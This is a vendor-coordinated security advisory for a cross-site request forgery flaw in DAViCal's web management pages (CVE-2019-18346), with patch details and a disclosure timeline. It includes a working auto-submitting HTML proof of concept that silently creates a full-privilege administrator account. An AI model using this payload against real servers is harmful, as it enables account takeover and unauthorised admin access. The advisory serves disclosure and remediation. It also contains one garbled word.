Share
Original text at:  
https://hackdefense.com/publications/cve-2019-18346-davical-caldav-server-vulnerability/  
  
At HackDefense, we were evaluating various calendaring solutions, and  
during installation and configuration of DAViCal we discovered three  
(severe) vulnerabilities. We reported these vulnerabilities to the  
vendor. Unfortunately, the DAViCal project itself was not able to fix  
these vulnerabilities. As DAViCal is an open source project we decided  
to contribute patches for these vulnerabilities ourselves. DAViCal has  
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a  
calendaring server, we recommend upgrading to version 1.1.9.1  
immediately to remediate the issues we’ve discovered.  
  
All three vulnerabilities exist in the web-based management pages that  
come with DAViCal. We have written three separate advisories to describe  
the vulnerabilities:  
  
CVE-2019-18345 — Reflected Cross-Site Scripting  
CVE-2019-18346 – (this advisory) Cross-Site Request Forgery  
CVE-2019-18347 – Persistent Cross-Site Scripting  
  
CVE Reference: CVE-2019-18346  
CVSS score: 8.8  
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H  
  
About DAViCal  
=============  
  
DAViCal is a server for calendar sharing. It is an implementation of the  
CalDAV protocol which is designed for storing calendaring resources on a  
remote shared server. It can be used by various e‑mail and calendaring  
clients to centrally store and share calendars.  
  
It includes a web-based management application. It was in these pages  
that we discovered this vulnerability.  
  
Affected systems  
================  
  
DAViCal CalDAV Server 1.1.8 and prior  
  
Overview  
========  
  
The application has no protection against CSRF attacks. If an  
authenticated user visits an attacker-controlled webpage (for example,  
in another browser tab), the attacker can send arbitrary requests in the  
name of the user to the application, including requests that result in a  
state change.  
  
For example, if an attacker includes the following HTML code on his/​her  
site and an authenticated DAViCal administrator visits, a new  
administrative account ​“hacker” (password also ​“hacker”) will  
automatically be created in the background, giving the attacker full  
access to the calendaring application:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://davical.host/admin.php?action=edit&t=principal"  
method="POST" enctype="multipart/form-data">  
<input type="hidden" name="xxxxusername" value="hacker" />  
<input type="hidden" name="newpass1" value="hacker" />  
<input type="hidden" name="newpass2" value="hacker" />  
<input type="hidden" name="fullname" value="hacker" />  
<input type="hidden" name="email"  
value="hacker@hacktheplanet.com" />  
<input type="hidden" name="locale" value="" />  
<input type="hidden" name="date_format_type" value="E" />  
<input type="hidden" name="type_id" value="1" />  
<input type="hidden" name="is_admin" value="off" />  
<input type="hidden" name="is_admin" value="on" />  
<input type="hidden" name="user_active" value="off" />  
<input type="hidden" name="user_active" value="on" />  
<input type="hidden"  
name="default_privileges[fake_privilege_for_input]"  
value="0" />  
<input type="hidden" name="default_privileges[read]"  
value="on" />  
<input type="hidden"  
name="default_privileges[write-properties]" value="on" />  
<input type="hidden"  
name="default_privileges[write-content]" value="on" />  
<input type="hidden" name="default_privileges[unlock]"  
value="on" />  
<input type="hidden" name="default_privileges[read-acl]"  
value="on" />  
<input type="hidden"  
name="default_privileges[read-current-user-privilege-set]"  
value="on" />  
<input type="hidden" name="default_privileges[bind]"  
value="on" />  
<input type="hidden" name="default_privileges[unbind]"  
value="on" />  
<input type="hidden"  
name="default_privileges[write-acl]" value="on" />  
<input type="hidden"  
name="default_privileges[read-free-busy]" value="on" />  
<input type="hidden"  
name="default_privileges[schedule-deliver-invite]"  
value="on" />  
<input type="hidden"  
name="default_privileges[schedule-deliver-reply]"  
value="on" />  
<input type="hidden"  
name="default_privileges[schedule-query-freebusy]"  
value="on" />  
<input type="hidden"  
name="default_privileges[schedule-send-invite]"  
value="on" />  
<input type="hidden"  
name="default_privileges[schedule-send-reply]"  
value="on" />  
<input type="hidden"  
name="default_privileges[schedule-send-freebusy]"  
value="on" />  
<input type="hidden" name="_editor_action[editor_1]"  
value="insert" />  
<input type="hidden" name="submit" value="Create" />  
<input type="submit" value="Submit request" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
  
Impact  
======  
  
In a successful CSRF attack, the attacker can change the e‑mail address  
and password on a victim’s account, which results in a full account  
takeover. If the compromised user has a privileged (administrator) role  
within the application, then the attacker is also able to add a new  
administrator user.  
  
Solution  
========  
  
Update to version 1.1.9.1  
  
  
Technical solution details  
==========================  
  
The most robust way to defend against CSRF attacks is to include a CSRF  
token within relevant requests. The idea is that you assign a unique  
token to a user’s session, this token can be regenerated whenever but  
this usually happens when a new session is created (e.g.when the user  
logs out and logs back in). This token is then required to be sent along  
with the rest of the data you want to submit. Prior to performing the  
action the called route is supposed to perform(let’s say you want to  
update your user information) the application will check if a CSRF token  
is present and whether it’s the right one. Onab.comce those two checks  
pass the application will continue executing.  
  
So the first task was to write a library that would generate a CSRF  
token and attach it to the session. That’s all pretty basic, the only  
thing I had to take into account is that the current requirement for  
DAViCal is PHP 5.6.0 and up so I had to keep backwards compatibility in  
mind. The token is generated by a random number generator (which one is  
decided by the current PHP version) and then assigned to the user. Once  
that was done the only thing left is to make sure every information  
altering request verifies the CSRF token.  
  
The modern way most web frameworks will handle this is by using  
middleware. Let’s say you map a route to a function in your code,you can  
then put a CSRF middleware in the middle of that ​‘mapping’. So let’s  
say you’ve got the following mapping:  
  
‘/​user/​information/​update’> updateUserInformation();  
  
You’d then tell your framework to use a CSRF middleware which would  
change the flow to:  
  
‘/​user/​information/​update’> checkCSRF(); > updateUserInformation();  
  
DAViCal however is quite an old project (the copyright states 2006 as  
starting year) and we don’t have the luxury of a framework handling  
these things for us. The easiest solution is to find every place a  
POSTrequest is made and manually verifying the token at those places.  
But I was keen to find out if there was a more central place I could put  
the CSRF verifying function. As every developer will know, getting to  
know and understand someone else’s code can be quite a tough one. I  
found myself using xdebugquite a lot to figure out the flow of the  
application until something quite obvious became apparent. There is a  
PHP file in the project called ​‘always.php’ which always runs. This  
file can be used to launch a function on every page load. This is where  
I added a function to check the CSRF token on POST requests (which are  
used in DAViCal to alter information).  
  
The final act was adding the CSRF tokens to all the forms in DAViCal  
which could be easily found by searching for </form>. Which concluded  
the fix for the CSRF vulnerability in DAViCal.  
  
Responsible Disclosure timeline  
===============================  
  
04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)  
21-Jan-2019 Reported to the DAViCal CalDAV Server project again  
22-Jan-2019 Report acknowledged  
28-May-2019 Asked for an update regarding these vulnerabilities  
29-May-2019 The DAViCal project responded that they did not have  
resources to implement a fix for these vulnerabilities  
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch  
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were  
assigned to these vulnerabilities  
25-Oct-2019 Released a patch that fixes these vulnerabilities  
29-Nov-2019 DAViCal verified the patch  
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch  
  
Useful links  
============  
  
DAViCal 1.1.9.1 Release Notes  
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1  
  
DAViCal 1.1.9.1 on Gitlab  
https://gitlab.com/davical-project/davical  
  
This advisory  
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/